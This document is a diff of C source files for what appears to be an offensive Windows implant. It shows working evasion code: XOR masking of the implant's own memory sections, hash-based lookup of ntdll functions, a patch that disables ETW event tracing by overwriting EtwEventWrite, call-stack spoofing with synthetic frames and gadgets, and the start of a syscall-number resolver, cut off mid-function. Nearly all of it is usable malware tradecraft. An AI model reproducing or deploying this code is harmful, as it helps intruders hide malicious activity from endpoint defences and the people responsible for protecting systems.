if (section == NULL || section->BaseAddress == NULL || section->Size == 0)
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
/* if we're masking and the section needs to be made writeable */
|
||||
if (mask && !IsWriteable(section->CurrentProtect))
|
||||
{
|
||||
DWORD old_protect = 0;
|
||||
|
||||
/* set the section permissions to RW */
|
||||
if (KERNEL32$VirtualProtect(section->BaseAddress, section->Size, PAGE_READWRITE, &old_protect))
|
||||
{
|
||||
/*
|
||||
* store the old protection so
|
||||
* it can be set back later
|
||||
*/
|
||||
section->CurrentProtect = PAGE_READWRITE;
|
||||
section->PreviousProtect = old_protect;
|
||||
}
|
||||
else
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
}
|
||||
|
||||
if (IsWriteable(section->CurrentProtect))
|
||||
{
|
||||
/* section is writeable, so XOR it */
|
||||
ApplyMask(section->BaseAddress, section->Size);
|
||||
}
|
||||
|
||||
/* if we're unmasking and the section permissions need to be set back */
|
||||
if (mask == FALSE && section->CurrentProtect != section->PreviousProtect)
|
||||
{
|
||||
DWORD old_protect = 0;
|
||||
|
||||
/* set the section permissions back to PreviousProtect */
|
||||
if (KERNEL32$VirtualProtect(section->BaseAddress, section->Size, section->PreviousProtect, &old_protect))
|
||||
{
|
||||
section->CurrentProtect = section->PreviousProtect;
|
||||
section->PreviousProtect = old_protect;
|
||||
}
|
||||
else
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
void MaskMemory(MEMORY_LAYOUT *memory, BOOL mask)
|
||||
{
|
||||
INFO_MSG("\t\tMasking Memory: %s", mask ? "true" : "false");
|
||||
if (memory == NULL || memory->Dll.Count > MAX_SECTIONS)
|
||||
{
|
||||
WARN_MSG("\t\tError masking memory");
|
||||
return;
|
||||
}
|
||||
|
||||
for (size_t i = 0; i < memory->Dll.Count; i++)
|
||||
{
|
||||
MEMORY_SECTION *section = &memory->Dll.Sections[i];
|
||||
if (!EncryptSection(section, mask))
|
||||
{
|
||||
WARN_MSG("\t\tError encrypting section");
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,8 @@
|
||||
#include <windows.h>
|
||||
#include "include/memory.h"
|
||||
#include "utils/utils.h"
|
||||
#include "utils/debug.h"
|
||||
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect(LPVOID, SIZE_T, DWORD, PDWORD);
|
||||
|
||||
void MaskMemory(MEMORY_LAYOUT *memory, BOOL isMasked);
|
||||
@@ -0,0 +1,38 @@
|
||||
// Generated automatically
|
||||
// Do not edit manually
|
||||
|
||||
#pragma once
|
||||
|
||||
#ifndef _NTFUNC_HASHES
|
||||
#define _NTFUNC_HASHES
|
||||
|
||||
// Nt* Functions
|
||||
#define NTDLL_HASH 0x3CFA685D
|
||||
#define NTALLOCATEVIRTUALMEMORY_HASH 0xD33BCABD
|
||||
#define NTPROTECTVIRTUALMEMORY_HASH 0x8C394D89
|
||||
#define NTWRITEVIRTUALMEMORY_HASH 0xC5108CC2
|
||||
#define NTFREEVIRTUALMEMORY_HASH 0xDB63B5AB
|
||||
#define NTQUERYVIRTUALMEMORY_HASH 0x4F138492
|
||||
#define NTCREATESECTION_HASH 0x5BB29BCB
|
||||
#define NTMAPVIEWOFSECTION_HASH 0xD5159B94
|
||||
#define NTUNMAPVIEWOFSECTION_HASH 0xF21037D0
|
||||
#define NTREADVIRTUALMEMORY_HASH 0x3AEFA5AA
|
||||
#define NTQUERYINFORMATIONPROCESS_HASH 0xB10FD839
|
||||
#define NTSETINFORMATIONTHREAD_HASH 0xE3D6909C
|
||||
#define NTRESUMETHREAD_HASH 0xC54A46C8
|
||||
#define NTSUSPENDTHREAD_HASH 0x488D64DC
|
||||
#define NTCREATETHREADEX_HASH 0x4D1DEB74
|
||||
#define NTOPENTHREAD_HASH 0x59651E8C
|
||||
#define NTTERMINATEPROCESS_HASH 0x7929BBF3
|
||||
#define NTWAITFORSINGLEOBJECT_HASH 0xAE06C1B2
|
||||
#define NTDELAYEXECUTION_HASH 0xD4F11852
|
||||
#define NTCREATEFILE_HASH 0x03888F9D
|
||||
#define NTREADFILE_HASH 0x84FCD516
|
||||
#define NTWRITEFILE_HASH 0x680E1933
|
||||
#define NTCLOSE_HASH 0xDCD44C5F
|
||||
#define NTCREATEUSERPROCESS_HASH 0xF4F14F30
|
||||
|
||||
// ETW
|
||||
#define ETWEVENTWRITE_HASH 0x2047C3EE
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,41 @@
|
||||
#include "patch.h"
|
||||
|
||||
BOOL patchEtw(void)
|
||||
{
|
||||
INFO_MSG("Patching ETW");
|
||||
|
||||
PVOID pNtdll = findModuleByHash(NTDLL_HASH);
|
||||
if (!pNtdll)
|
||||
{
|
||||
ERROR_MSG("Failed to find ntdll.dll");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
PVOID pTarget = findFunctionByHash(pNtdll, ETWEVENTWRITE_HASH);
|
||||
|
||||
if (!pTarget)
|
||||
{
|
||||
ERROR_MSG("Failed to find ETW function by hash 0x%08X", ETWEVENTWRITE_HASH);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
DWORD oldProt = 0;
|
||||
if (!KERNEL32$VirtualProtect(pTarget, 16, PAGE_READWRITE, &oldProt))
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// mov eax, 0xC0000022 (STATUS_ACCESS_DENIED); ret
|
||||
PBYTE pPatch = (PBYTE)pTarget;
|
||||
pPatch[0] = 0xB8u; // mov eax
|
||||
*(DWORD*)(pPatch + 1) = (DWORD)STATUS_ACCESS_DENIED;
|
||||
pPatch[5] = 0xC3u; // ret
|
||||
|
||||
if (!KERNEL32$VirtualProtect(pTarget, 16, oldProt, &oldProt))
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
SUCCESS_MSG("ETW Patched");
|
||||
return TRUE;
|
||||
}
|
||||
@@ -0,0 +1,9 @@
|
||||
#pragma once
|
||||
#include <windows.h>
|
||||
#include "include/ntstatus.h"
|
||||
#include "utils/debug.h"
|
||||
#include "nt_hashes.h"
|
||||
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect(LPVOID, SIZE_T, DWORD, PDWORD);
|
||||
|
||||
BOOL patchEtw();
|
||||
@@ -0,0 +1,386 @@
|
||||
#include "spoof.h"
|
||||
|
||||
DECLSPEC_IMPORT HMODULE WINAPI KERNEL32$GetModuleHandleA ( LPCSTR );
|
||||
DECLSPEC_IMPORT RUNTIME_FUNCTION * WINAPI KERNEL32$RtlLookupFunctionEntry ( DWORD64, PDWORD64, PUNWIND_HISTORY_TABLE );
|
||||
DECLSPEC_IMPORT ULONG NTAPI NTDLL$RtlRandomEx ( PULONG );
|
||||
|
||||
#define TEXT_HASH 0xEBC2F9B4
|
||||
#define RBP_OP_INFO 0x5
|
||||
|
||||
typedef struct {
|
||||
LPCWSTR DllPath;
|
||||
ULONG Offset;
|
||||
ULONGLONG TotalStackSize;
|
||||
BOOL RequiresLoadLibrary;
|
||||
BOOL SetsFramePointer;
|
||||
PVOID ReturnAddress;
|
||||
BOOL PushRbp;
|
||||
ULONG CountOfCodes;
|
||||
BOOL PushRbpIndex;
|
||||
} STACK_FRAME;
|
||||
|
||||
typedef enum {
|
||||
UWOP_PUSH_NONVOL = 0,
|
||||
UWOP_ALLOC_LARGE,
|
||||
UWOP_ALLOC_SMALL,
|
||||
UWOP_SET_FPREG,
|
||||
UWOP_SAVE_NONVOL,
|
||||
UWOP_SAVE_NONVOL_FAR,
|
||||
UWOP_SAVE_XMM128 = 8,
|
||||
UWOP_SAVE_XMM128_FAR,
|
||||
UWOP_PUSH_MACHFRAME
|
||||
} UNWIND_CODE_OPS;
|
||||
|
||||
typedef unsigned char UBYTE;
|
||||
|
||||
typedef union {
|
||||
struct {
|
||||
UBYTE CodeOffset;
|
||||
UBYTE UnwindOp : 4;
|
||||
UBYTE OpInfo : 4;
|
||||
};
|
||||
USHORT FrameOffset;
|
||||
} UNWIND_CODE;
|
||||
|
||||
typedef struct {
|
||||
UBYTE Version : 3;
|
||||
UBYTE Flags : 5;
|
||||
UBYTE SizeOfProlog;
|
||||
UBYTE CountOfCodes;
|
||||
UBYTE FrameRegister : 4;
|
||||
UBYTE FrameOffset : 4;
|
||||
UNWIND_CODE UnwindCode [ 1 ];
|
||||
} UNWIND_INFO;
|
||||
|
||||
typedef struct {
|
||||
PVOID ModuleAddress;
|
||||
PVOID FunctionAddress;
|
||||
DWORD Offset;
|
||||
} FRAME_INFO;
|
||||
|
||||
typedef struct {
|
||||
FRAME_INFO Frame1;
|
||||
FRAME_INFO Frame2;
|
||||
PVOID Gadget;
|
||||
} SYNTHETIC_STACK_FRAME;
|
||||
|
||||
typedef struct {
|
||||
FUNCTION_CALL * FunctionCall;
|
||||
PVOID StackFrame;
|
||||
PVOID SpoofCall;
|
||||
} DRAUGR_FUNCTION_CALL;
|
||||
|
||||
typedef struct {
|
||||
PVOID Fixup;
|
||||
PVOID OriginalReturnAddress;
|
||||
PVOID Rbx;
|
||||
PVOID Rdi;
|
||||
PVOID BaseThreadInitThunkStackSize;
|
||||
PVOID BaseThreadInitThunkReturnAddress;
|
||||
PVOID TrampolineStackSize;
|
||||
PVOID RtlUserThreadStartStackSize;
|
||||
PVOID RtlUserThreadStartReturnAddress;
|
||||
PVOID Ssn;
|
||||
PVOID Trampoline;
|
||||
PVOID Rsi;
|
||||
PVOID R12;
|
||||
PVOID R13;
|
||||
PVOID R14;
|
||||
PVOID R15;
|
||||
} DRAUGR_PARAMETERS;
|
||||
|
||||
extern PVOID draugr_stub ( PVOID, PVOID, PVOID, PVOID, DRAUGR_PARAMETERS *, PVOID, SIZE_T, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID );
|
||||
|
||||
#define draugr_arg(i) ( ULONG_PTR ) ( call->args [ i ] )
|
||||
|
||||
void init_frame_info ( SYNTHETIC_STACK_FRAME * frame )
|
||||
{
|
||||
PVOID frame1_module = KERNEL32$GetModuleHandleA ( "kernel32.dll" );
|
||||
PVOID frame2_module = KERNEL32$GetModuleHandleA ( "ntdll.dll" );
|
||||
|
||||
frame->Frame1.ModuleAddress = frame1_module;
|
||||
frame->Frame1.FunctionAddress = ( PVOID ) GetProcAddress ( ( HMODULE ) frame1_module, "BaseThreadInitThunk" );
|
||||
frame->Frame1.Offset = 0x17;
|
||||
|
||||
frame->Frame2.ModuleAddress = frame2_module;
|
||||
frame->Frame2.FunctionAddress = ( PVOID ) GetProcAddress ( ( HMODULE ) frame2_module, "RtlUserThreadStart" );
|
||||
frame->Frame2.Offset = 0x2c;
|
||||
|
||||
frame->Gadget = KERNEL32$GetModuleHandleA ( "KernelBase.dll" );
|
||||
}
|
||||
|
||||
BOOL get_text_section_size ( PVOID module, PDWORD virtual_address, PDWORD size )
|
||||
{
|
||||
IMAGE_DOS_HEADER * dos_header = ( IMAGE_DOS_HEADER * ) ( module );
|
||||
|
||||
if ( dos_header->e_magic != IMAGE_DOS_SIGNATURE ) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
IMAGE_NT_HEADERS * nt_headers = ( IMAGE_NT_HEADERS * ) ( ( UINT_PTR ) module + dos_header->e_lfanew );
|
||||
|
||||
if ( nt_headers->Signature != IMAGE_NT_SIGNATURE ) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
IMAGE_SECTION_HEADER * section_header = IMAGE_FIRST_SECTION ( nt_headers );
|
||||
|
||||
for ( int i = 0; i < nt_headers->FileHeader.NumberOfSections; i++ )
|
||||
{
|
||||
DWORD h = ror13hash ( ( char * ) section_header[ i ].Name );
|
||||
|
||||
if ( h == TEXT_HASH )
|
||||
{
|
||||
*virtual_address = section_header[ i ].VirtualAddress;
|
||||
*size = section_header[ i ].SizeOfRawData;
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
}
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
PVOID calculate_function_stack_size ( RUNTIME_FUNCTION * runtime_function, const DWORD64 image_base )
|
||||
{
|
||||
UNWIND_INFO * unwind_info = NULL;
|
||||
ULONG unwind_operation = 0;
|
||||
ULONG operation_info = 0;
|
||||
ULONG index = 0;
|
||||
ULONG frame_offset = 0;
|
||||
|
||||
STACK_FRAME stack_frame = { 0 };
|
||||
|
||||
if ( ! runtime_function ) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
unwind_info = ( UNWIND_INFO * ) ( runtime_function->UnwindData + image_base );
|
||||
|
||||
while ( index < unwind_info->CountOfCodes )
|
||||
{
|
||||
unwind_operation = unwind_info->UnwindCode[ index ].UnwindOp;
|
||||
operation_info = unwind_info->UnwindCode[ index ].OpInfo;
|
||||
|
||||
/* don't use switch as it produces jump tables */
|
||||
if ( unwind_operation == UWOP_PUSH_NONVOL )
|
||||
{
|
||||
stack_frame.TotalStackSize += 8;
|
||||
|
||||
if ( operation_info == RBP_OP_INFO )
|
||||
{
|
||||
stack_frame.PushRbp = TRUE;
|
||||
stack_frame.CountOfCodes = unwind_info->CountOfCodes;
|
||||
stack_frame.PushRbpIndex = index + 1;
|
||||
}
|
||||
}
|
||||
else if ( unwind_operation == UWOP_SAVE_NONVOL )
|
||||
{
|
||||
index += 1;
|
||||
}
|
||||
else if ( unwind_operation == UWOP_ALLOC_SMALL )
|
||||
{
|
||||
stack_frame.TotalStackSize += ( ( operation_info * 8 ) + 8 );
|
||||
}
|
||||
else if ( unwind_operation == UWOP_ALLOC_LARGE )
|
||||
{
|
||||
index += 1;
|
||||
frame_offset = unwind_info->UnwindCode[ index ].FrameOffset;
|
||||
|
||||
if (operation_info == 0)
|
||||
{
|
||||
frame_offset *= 8;
|
||||
}
|
||||
else
|
||||
{
|
||||
index += 1;
|
||||
frame_offset += ( unwind_info->UnwindCode[ index ].FrameOffset << 16 );
|
||||
}
|
||||
|
||||
stack_frame.TotalStackSize += frame_offset;
|
||||
}
|
||||
else if ( unwind_operation == UWOP_SET_FPREG )
|
||||
{
|
||||
stack_frame.SetsFramePointer = TRUE;
|
||||
}
|
||||
else if ( unwind_operation == UWOP_SAVE_XMM128 )
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
|
||||
index += 1;
|
||||
}
|
||||
|
||||
if ( 0 != ( unwind_info->Flags & UNW_FLAG_CHAININFO ) )
|
||||
{
|
||||
index = unwind_info->CountOfCodes;
|
||||
|
||||
if ( 0 != ( index & 1 ) )
|
||||
{
|
||||
index += 1;
|
||||
}
|
||||
|
||||
runtime_function = ( RUNTIME_FUNCTION * ) ( &unwind_info->UnwindCode [ index ] );
|
||||
return calculate_function_stack_size ( runtime_function, image_base );
|
||||
}
|
||||
|
||||
stack_frame.TotalStackSize += 8;
|
||||
return ( PVOID ) ( stack_frame.TotalStackSize );
|
||||
}
|
||||
|
||||
PVOID calculate_function_stack_size_wrapper ( PVOID return_address )
|
||||
{
|
||||
RUNTIME_FUNCTION * runtime_function = NULL;
|
||||
DWORD64 image_base = 0;
|
||||
PUNWIND_HISTORY_TABLE history_table = NULL;
|
||||
|
||||
if ( ! return_address ) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
runtime_function = KERNEL32$RtlLookupFunctionEntry ( ( DWORD64 ) return_address, &image_base, history_table );
|
||||
|
||||
if ( NULL == runtime_function ) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
return calculate_function_stack_size ( runtime_function, image_base );
|
||||
}
|
||||
|
||||
PVOID find_gadget( PVOID module )
|
||||
{
|
||||
BOOL found_gadgets = FALSE;
|
||||
DWORD text_section_size = 0;
|
||||
DWORD text_section_va = 0;
|
||||
DWORD counter = 0;
|
||||
ULONG seed = 0;
|
||||
ULONG random = 0;
|
||||
PVOID module_text_section = NULL;
|
||||
|
||||
PVOID gadget_list [ 15 ] = { 0 };
|
||||
|
||||
if ( ! found_gadgets )
|
||||
{
|
||||
if ( ! get_text_section_size ( module, &text_section_va, &text_section_size ) ) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
module_text_section = ( PBYTE ) ( ( UINT_PTR ) module + text_section_va );
|
||||
|
||||
for ( long unsigned int i = 0; i < ( text_section_size - 2 ); i++ )
|
||||
{
|
||||
/* x64 opcodes are ff 23 */
|
||||
if ( ( ( PBYTE ) module_text_section ) [ i ] == 0xFF && ( ( PBYTE ) module_text_section ) [ i + 1 ] == 0x23 )
|
||||
{
|
||||
gadget_list [ counter ] = ( PVOID ) ( ( UINT_PTR ) module_text_section + i );
|
||||
counter++;
|
||||
|
||||
if ( counter == 15 ) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
found_gadgets = TRUE;
|
||||
}
|
||||
|
||||
seed = 0x1337;
|
||||
random = NTDLL$RtlRandomEx ( &seed );
|
||||
random %= counter;
|
||||
|
||||
return gadget_list [ random ];
|
||||
}
|
||||
|
||||
ULONG_PTR draugr_wrapper ( PVOID function, DWORD ssn, SIZE_T stack_argc, PVOID arg1, PVOID arg2, PVOID arg3, PVOID arg4, PVOID arg5, PVOID arg6, PVOID arg7, PVOID arg8, PVOID arg9, PVOID arg10, PVOID arg11, PVOID arg12 )
|
||||
{
|
||||
int attempts = 0;
|
||||
PVOID return_address = NULL;
|
||||
|
||||
DRAUGR_PARAMETERS draugr_params = { 0 };
|
||||
|
||||
if ( ssn ) {
|
||||
draugr_params.Ssn = ( PVOID ) ( ULONG_PTR ) ssn;
|
||||
}
|
||||
|
||||
SYNTHETIC_STACK_FRAME frame;
|
||||
init_frame_info ( &frame );
|
||||
|
||||
return_address = ( PVOID ) ( ( UINT_PTR ) frame.Frame1.FunctionAddress + frame.Frame1.Offset );
|
||||
draugr_params.BaseThreadInitThunkStackSize = calculate_function_stack_size_wrapper ( return_address );
|
||||
draugr_params.BaseThreadInitThunkReturnAddress = return_address;
|
||||
|
||||
if ( ! draugr_params.BaseThreadInitThunkStackSize || ! draugr_params.BaseThreadInitThunkReturnAddress ) {
|
||||
return ( ULONG_PTR ) ( NULL );
|
||||
}
|
||||
|
||||
return_address = ( PVOID ) ( ( UINT_PTR ) frame.Frame2.FunctionAddress + frame.Frame2.Offset );
|
||||
draugr_params.RtlUserThreadStartStackSize = calculate_function_stack_size_wrapper ( return_address );
|
||||
draugr_params.RtlUserThreadStartReturnAddress = return_address;
|
||||
|
||||
if ( ! draugr_params.RtlUserThreadStartStackSize || ! draugr_params.RtlUserThreadStartReturnAddress ) {
|
||||
return ( ULONG_PTR ) ( NULL );
|
||||
}
|
||||
|
||||
do
|
||||
{
|
||||
draugr_params.Trampoline = find_gadget ( frame.Gadget );
|
||||
draugr_params.TrampolineStackSize = calculate_function_stack_size_wrapper ( draugr_params.Trampoline );
|
||||
|
||||
attempts++;
|
||||
|
||||
if ( attempts > 15 ) {
|
||||
return ( ULONG_PTR ) ( NULL );
|
||||
}
|
||||
|
||||
} while ( draugr_params.TrampolineStackSize == NULL || ( ( __int64 ) draugr_params.TrampolineStackSize < 0x80 ) );
|
||||
|
||||
if ( ! draugr_params.Trampoline || ! draugr_params.TrampolineStackSize ) {
|
||||
return ( ULONG_PTR ) ( NULL );
|
||||
}
|
||||
|
||||
return ( ULONG_PTR ) draugr_stub ( arg1, arg2, arg3, arg4, &draugr_params, function, stack_argc, arg5, arg6, arg7, arg8, arg9, arg10, arg11, arg12 );
|
||||
}
|
||||
|
||||
ULONG_PTR spoof_call ( FUNCTION_CALL * call )
|
||||
{
|
||||
SIZE_T stack_argc = 0;
|
||||
|
||||
if ( call == NULL ) {
|
||||
return ( ULONG_PTR ) ( NULL );
|
||||
}
|
||||
|
||||
if ( call->argc > 4 ) {
|
||||
stack_argc = ( SIZE_T ) ( call->argc - 4 );
|
||||
}
|
||||
|
||||
/* very inelegant */
|
||||
if ( call->argc == 0 ) {
|
||||
return draugr_wrapper ( call->ptr, call->ssn, stack_argc, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL );
|
||||
} else if ( call->argc == 1 ) {
|
||||
return draugr_wrapper ( call->ptr, call->ssn, stack_argc, ( PVOID ) draugr_arg ( 0 ), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL );
|
||||
} else if ( call->argc == 2 ) {
|
||||
return draugr_wrapper ( call->ptr, call->ssn, stack_argc, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL );
|
||||
} else if ( call->argc == 3 ) {
|
||||
return draugr_wrapper ( call->ptr, call->ssn, stack_argc, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL );
|
||||
} else if ( call->argc == 4 ) {
|
||||
return draugr_wrapper ( call->ptr, call->ssn, stack_argc, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL );
|
||||
} else if ( call->argc == 5 ) {
|
||||
return draugr_wrapper ( call->ptr, call->ssn, stack_argc, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), NULL, NULL, NULL, NULL, NULL, NULL, NULL );
|
||||
} else if ( call->argc == 6 ) {
|
||||
return draugr_wrapper ( call->ptr, call->ssn, stack_argc, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), NULL, NULL, NULL, NULL, NULL, NULL );
|
||||
} else if ( call->argc == 7 ) {
|
||||
return draugr_wrapper ( call->ptr, call->ssn, stack_argc, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), NULL, NULL, NULL, NULL, NULL );
|
||||
} else if ( call->argc == 8 ) {
|
||||
return draugr_wrapper ( call->ptr, call->ssn, stack_argc, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), ( PVOID ) draugr_arg ( 7 ), NULL, NULL, NULL, NULL );
|
||||
} else if ( call->argc == 9 ) {
|
||||
return draugr_wrapper ( call->ptr, call->ssn, stack_argc, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), ( PVOID ) draugr_arg ( 7 ), ( PVOID ) draugr_arg ( 8 ), NULL, NULL, NULL );
|
||||
} else if ( call->argc == 10 ) {
|
||||
return draugr_wrapper ( call->ptr, call->ssn, stack_argc, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), ( PVOID ) draugr_arg ( 7 ), ( PVOID ) draugr_arg ( 8 ), ( PVOID ) draugr_arg ( 9 ), NULL, NULL );
|
||||
} else if ( call->argc == 11 ) {
|
||||
return draugr_wrapper ( call->ptr, call->ssn, stack_argc, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), ( PVOID ) draugr_arg ( 7 ), ( PVOID ) draugr_arg ( 8 ), ( PVOID ) draugr_arg ( 9 ), ( PVOID ) draugr_arg ( 10 ), NULL );
|
||||
} else if ( call->argc == 12 ) {
|
||||
return draugr_wrapper ( call->ptr, call->ssn, stack_argc, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), ( PVOID ) draugr_arg ( 7 ), ( PVOID ) draugr_arg ( 8 ), ( PVOID ) draugr_arg ( 9 ), ( PVOID ) draugr_arg ( 10 ), ( PVOID ) draugr_arg ( 11 ) );
|
||||
} else {
|
||||
return ( ULONG_PTR ) ( NULL );
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,15 @@
|
||||
#pragma once
|
||||
#include <windows.h>
|
||||
#include "utils/debug.h"
|
||||
|
||||
#define SPOOF_CALL_MAX_ARGS 12
|
||||
#define spoof_arg(x) ( ULONG_PTR ) ( x )
|
||||
|
||||
typedef struct {
|
||||
PVOID ptr;
|
||||
DWORD ssn;
|
||||
int argc;
|
||||
ULONG_PTR args[SPOOF_CALL_MAX_ARGS];
|
||||
} FUNCTION_CALL;
|
||||
|
||||
ULONG_PTR spoof_call ( FUNCTION_CALL * call );
|
||||
@@ -0,0 +1,242 @@
|
||||
#include "syscalls.h"
|
||||
#include "nt_hashes.h"
|
||||
#include "spoof.h"
|
||||
|
||||
#define SYS_STUB_SIZE 32
|
||||
#define SYSCALL_PATTERN_SIZE 8
|
||||
#define SYSCALL_INSTR_SIZE 3
|
||||
|
||||
static BOOL ValidateNtHeaders(PVOID module, PIMAGE_NT_HEADERS *ntHeaders)
|
||||
{
|
||||
if (module == NULL || ntHeaders == NULL)
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)module;
|
||||
if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE || dosHeader->e_lfanew <= 0)
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
PIMAGE_NT_HEADERS localNtHeaders = (PIMAGE_NT_HEADERS)((PBYTE)module + dosHeader->e_lfanew);
|
||||
if (localNtHeaders->Signature != IMAGE_NT_SIGNATURE)
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
*ntHeaders = localNtHeaders;
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
static BOOL GetExportDirectory(PVOID module, PIMAGE_EXPORT_DIRECTORY *exportDirectory)
|
||||
{
|
||||
PIMAGE_NT_HEADERS ntHeaders = NULL;
|
||||
|
||||
if (exportDirectory == NULL || !ValidateNtHeaders(module, &ntHeaders))
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
IMAGE_DATA_DIRECTORY directory = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
|
||||
if (directory.VirtualAddress == 0 || directory.Size == 0)
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
*exportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)module + directory.VirtualAddress);
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
static BOOL GetExportFunctionBounds(PVOID module, PIMAGE_EXPORT_DIRECTORY exportDirectory, PBYTE *lowerBound, PBYTE *upperBound)
|
||||
{
|
||||
if (module == NULL || exportDirectory == NULL || lowerBound == NULL || upperBound == NULL)
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
if (exportDirectory->NumberOfFunctions == 0 || exportDirectory->AddressOfFunctions == 0)
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
PDWORD functions = (PDWORD)((PBYTE)module + exportDirectory->AddressOfFunctions);
|
||||
PBYTE lowest = NULL;
|
||||
PBYTE highest = NULL;
|
||||
|
||||
for (DWORD i = 0; i < exportDirectory->NumberOfFunctions; i++)
|
||||
{
|
||||
if (functions[i] == 0)
|
||||
{
|
||||
continue;
|
||||
}
|
||||
|
||||
PBYTE address = (PBYTE)module + functions[i];
|
||||
if (lowest == NULL || address < lowest)
|
||||
{
|
||||
lowest = address;
|
||||
}
|
||||
|
||||
if (highest == NULL || address > highest)
|
||||
{
|
||||
highest = address;
|
||||
}
|
||||
}
|
||||
|
||||
if (lowest == NULL || highest == NULL)
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
*lowerBound = lowest;
|
||||
*upperBound = highest + SYS_STUB_SIZE;
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
static BOOL ReadSyscallNumber(PBYTE functionAddress, DWORD offset, PDWORD syscallNumber)
|
||||
{
|
||||
if (functionAddress == NULL || syscallNumber == NULL)
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
if (functionAddress[offset] == 0x4c &&
|
||||
functionAddress[offset + 1] == 0x8b &&
|
||||
functionAddress[offset + 2] == 0xd1 &&
|
||||
functionAddress[offset + 3] == 0xb8 &&
|
||||
functionAddress[offset + 6] == 0x00 &&
|
||||
functionAddress[offset + 7] == 0x00)
|
||||
{
|
||||
BYTE low = functionAddress[offset + 4];
|
||||
BYTE high = functionAddress[offset + 5];
|
||||
